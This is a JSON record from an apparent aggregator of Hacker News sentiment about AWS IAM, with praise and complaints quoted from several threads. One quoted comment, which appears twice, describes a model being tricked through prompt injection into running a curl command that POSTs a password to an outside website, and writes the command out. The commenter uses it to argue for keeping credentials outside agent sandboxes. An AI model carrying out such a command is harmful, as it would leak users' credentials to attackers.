{"slug": "aws-iam", "name": "AWS IAM", "category": "infra", "category_name": "Infrastructure and DevOps", "description": "", "recommenders": 4, "commenters": 7, "warners": 3, "score": 0.898, "rising": 0.02, "first": "2025-11-15", "latest": "2026-10-21", "why": "The entire point of the IAM roles is to make everything a matter of policy rather than procedure.", "why_is_quote": true, "has_verdict": false, "sentiment": {"recommend": 4, "neutral": 0, "compare": 0, "warn": 3}, "spark": [1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1], "listed": true, "loved": [], "caveat": "", "short_quote": "The entire point of the IAM roles is to make everything a matter of policy rather than procedure.", "kind": "", "icon": true, "domain": null, "github_repo": null, "official_url": "https://aws.amazon.com/iam/", "pricing": "", "aliases": ["AWS IAM"], "verdict": null, "praise": [{"label": "", "summary": "", "quotes": [{"id": 802882912, "item_id": 50180182, "url": "https://news.ycombinator.com/item?id=50180182", "by": "otterley", "date": "2026-10-21", "stance": "recommend", "quote": "IAM has always worked, even during control plane impairments", "excerpt": "> You not only have to pay double for the infra but also be charged for inter-region data transfers. Well, yeah. Redundancy isn't free. I don't see how this is controversial. > And, when the worst comes, you realize it was all for nothing as IAM doesn't work, for example. What do you mean, \"IAM doesn't work\"? IAM has always worked, even during control plane impairments. You cannot depend on control plane operations t", "context": "", "use_case": "", "switched_from": "", "story": "Google Cloud outage affects almost all banking and other operations in Europe"}, {"id": 769354737, "item_id": 48084671, "url": "https://news.ycombinator.com/item?id=48084671", "by": "nijave", "date": "2026-05-10", "stance": "recommend", "quote": "So much easier to use IAM policies.", "excerpt": ">AWS IAM is extremely well designed Agree, so is STS and SDKs generally just work. I don't miss on-prem companies with legacy Auth where you maintained 100 service accounts for everything with very careful password vaulting and credentials management policies. So much easier to use IAM policies. >are absolute hot garbage I kind of like Cognito but both Cognito and especially API Gateway are somewhat convoluted to con", "context": "", "use_case": "", "switched_from": "", "story": "I returned to AWS, and was reminded why I left"}, {"id": 763655552, "item_id": 47728472, "url": "https://news.ycombinator.com/item?id=47728472", "by": "bob1029", "date": "2026-04-11", "stance": "recommend", "quote": "The entire point of the IAM roles is to make everything a matter of policy rather than procedure.", "excerpt": "I strongly disagree with the part about IAM roles for EC2 > a useful improvement (especially given the urgency after the Capital One breach) but in my view just a mitigation of one particular exploit path rather than addressing the fundamental problem that credentials were being exposed via an interface which was entirely unsuitable for that purpose. What alternative interface does the author propose we use to secure", "context": "manages team access and audits", "use_case": "credential and access management", "switched_from": "", "story": "20 Years on AWS and Never Not My Job"}]}], "caveats": [{"label": "", "summary": "", "quotes": [{"id": 798490480, "item_id": 49905655, "url": "https://news.ycombinator.com/item?id=49905655", "by": "eddythompson80", "date": "2026-09-30", "stance": "warn", "quote": "is a pain in the ass to manage", "excerpt": "That\u2019s not really true. The \u201cexposing your credentials to the model\u201d threat is in the model getting tricked into `curl -XPOST https://random.website -d \u2018your_password\u2019`. If the credentials are never available inside the sandbox and is only injected outside the sandbox then that\u2019s an entire attack vector that is eliminated. Further limiting the actual domains, URLs, and/or Methods a model can call on a given endpoint ", "context": "", "use_case": "", "switched_from": "", "story": "Dots: Always-on agents"}, {"id": 769388064, "item_id": 48086754, "url": "https://news.ycombinator.com/item?id=48086754", "by": "amluto", "date": "2026-05-10", "stance": "warn", "quote": "AWS has produced a long, rambling and imprecise description", "excerpt": "> but fundamentally it is \"what does this role have access to doing (action + resource)\" + \"who has access to this role\". That is really it from a 10k foot level. Hahahaha. No, fundamentally it is one input into a huge mess that you cannot actually see or audit from a 10k foot level. AWS has produced a long, rambling and imprecise description of (some of?) what\u2019s actually going on. You can read it here: https://docs.", "context": "", "use_case": "", "switched_from": "", "story": "I returned to AWS, and was reminded why I left"}, {"id": 735046641, "item_id": 45940415, "url": "https://news.ycombinator.com/item?id=45940415", "by": "tyre", "date": "2025-11-15", "stance": "warn", "quote": "The only one that still drives me insane is IAM. That product makes me feel dumb every time I use it", "excerpt": "They've gotten much better at streamlining setup and suggesting sane defaults over the years. I hear the GP that there soooo many knobs. I've found that AWS does a pretty good job, like in the postgres compatible RDS case, of suggesting defaults that make sense for most people. And when you run into issues / scaling problems, you can Claude your way to which settings to research. The only one that still drives me ins", "context": "", "use_case": "", "switched_from": "", "story": "AWS deprecates two dozen services (most of which you've never heard of)"}]}], "who": [{"by": "bob1029", "context": "manages team access and audits", "url": "https://news.ycombinator.com/item?id=47728472", "date": "2026-04-11"}], "tags": [], "use_cases": ["credential and access management", "workload identity federation"], "compared": [], "makers": [], "threads": [{"url": "https://news.ycombinator.com/item?id=48073201", "title": "I returned to AWS, and was reminded why I left", "mentions": 2}, {"url": "https://news.ycombinator.com/item?id=50163961", "title": "Google Cloud outage affects almost all banking and other operations in Europe", "mentions": 1}, {"url": "https://news.ycombinator.com/item?id=49896604", "title": "Dots: Always-on agents", "mentions": 1}, {"url": "https://news.ycombinator.com/item?id=47727711", "title": "20 Years on AWS and Never Not My Job", "mentions": 1}, {"url": "https://news.ycombinator.com/item?id=46061399", "title": "OIDC Workload Identity on AWS", "mentions": 1}, {"url": "https://news.ycombinator.com/item?id=45939678", "title": "AWS deprecates two dozen services (most of which you've never heard of)", "mentions": 1}], "sentiment_by_month": {"2025-11": {"warn": 1, "recommend": 1}, "2025-12": {}, "2026-01": {}, "2026-02": {}, "2026-03": {}, "2026-04": {"recommend": 1}, "2026-05": {"recommend": 1, "warn": 1}, "2026-06": {}, "2026-07": {}, "2026-08": {}, "2026-09": {"warn": 1}, "2026-10": {"recommend": 1}}, "quotes": [{"id": 802882912, "item_id": 50180182, "url": "https://news.ycombinator.com/item?id=50180182", "by": "otterley", "date": "2026-10-21", "stance": "recommend", "quote": "IAM has always worked, even during control plane impairments", "excerpt": "> You not only have to pay double for the infra but also be charged for inter-region data transfers. Well, yeah. Redundancy isn't free. I don't see how this is controversial. > And, when the worst comes, you realize it was all for nothing as IAM doesn't work, for example. What do you mean, \"IAM doesn't work\"? IAM has always worked, even during control plane impairments. You cannot depend on control plane operations t", "context": "", "use_case": "", "switched_from": "", "story": "Google Cloud outage affects almost all banking and other operations in Europe"}, {"id": 798490480, "item_id": 49905655, "url": "https://news.ycombinator.com/item?id=49905655", "by": "eddythompson80", "date": "2026-09-30", "stance": "warn", "quote": "is a pain in the ass to manage", "excerpt": "That\u2019s not really true. The \u201cexposing your credentials to the model\u201d threat is in the model getting tricked into `curl -XPOST https://random.website -d \u2018your_password\u2019`. If the credentials are never available inside the sandbox and is only injected outside the sandbox then that\u2019s an entire attack vector that is eliminated. Further limiting the actual domains, URLs, and/or Methods a model can call on a given endpoint ", "context": "", "use_case": "", "switched_from": "", "story": "Dots: Always-on agents"}, {"id": 769388064, "item_id": 48086754, "url": "https://news.ycombinator.com/item?id=48086754", "by": "amluto", "date": "2026-05-10", "stance": "warn", "quote": "AWS has produced a long, rambling and imprecise description", "excerpt": "> but fundamentally it is \"what does this role have access to doing (action + resource)\" + \"who has access to this role\". That is really it from a 10k foot level. Hahahaha. No, fundamentally it is one input into a huge mess that you cannot actually see or audit from a 10k foot level. AWS has produced a long, rambling and imprecise description of (some of?) what\u2019s actually going on. You can read it here: https://docs.", "context": "", "use_case": "", "switched_from": "", "story": "I returned to AWS, and was reminded why I left"}, {"id": 769354737, "item_id": 48084671, "url": "https://news.ycombinator.com/item?id=48084671", "by": "nijave", "date": "2026-05-10", "stance": "recommend", "quote": "So much easier to use IAM policies.", "excerpt": ">AWS IAM is extremely well designed Agree, so is STS and SDKs generally just work. I don't miss on-prem companies with legacy Auth where you maintained 100 service accounts for everything with very careful password vaulting and credentials management policies. So much easier to use IAM policies. >are absolute hot garbage I kind of like Cognito but both Cognito and especially API Gateway are somewhat convoluted to con", "context": "", "use_case": "", "switched_from": "", "story": "I returned to AWS, and was reminded why I left"}, {"id": 763655552, "item_id": 47728472, "url": "https://news.ycombinator.com/item?id=47728472", "by": "bob1029", "date": "2026-04-11", "stance": "recommend", "quote": "The entire point of the IAM roles is to make everything a matter of policy rather than procedure.", "excerpt": "I strongly disagree with the part about IAM roles for EC2 > a useful improvement (especially given the urgency after the Capital One breach) but in my view just a mitigation of one particular exploit path rather than addressing the fundamental problem that credentials were being exposed via an interface which was entirely unsuitable for that purpose. What alternative interface does the author propose we use to secure", "context": "manages team access and audits", "use_case": "credential and access management", "switched_from": "", "story": "20 Years on AWS and Never Not My Job"}, {"id": 736982432, "item_id": 46061402, "url": "https://news.ycombinator.com/item?id=46061402", "by": "toomuchtodo", "date": "2025-11-26", "stance": "recommend", "quote": "", "excerpt": "> Update: after years of being on the wish list of a ton of top AWS teams, AWS released a built-in version of this feature about two weeks after we published this. Never let it be said gentle ribbing doesn\u2019t work. Also, thanks AWS! We meant it when we said that the only thing better than having something easy to deploy was not needing to deploy anything at all. Everything in this post about workload identity is still", "context": "", "use_case": "workload identity federation", "switched_from": "", "story": "OIDC Workload Identity on AWS"}, {"id": 735046641, "item_id": 45940415, "url": "https://news.ycombinator.com/item?id=45940415", "by": "tyre", "date": "2025-11-15", "stance": "warn", "quote": "The only one that still drives me insane is IAM. That product makes me feel dumb every time I use it", "excerpt": "They've gotten much better at streamlining setup and suggesting sane defaults over the years. I hear the GP that there soooo many knobs. I've found that AWS does a pretty good job, like in the postgres compatible RDS case, of suggesting defaults that make sense for most people. And when you run into issues / scaling problems, you can Claude your way to which settings to research. The only one that still drives me ins", "context": "", "use_case": "", "switched_from": "", "story": "AWS deprecates two dozen services (most of which you've never heard of)"}]}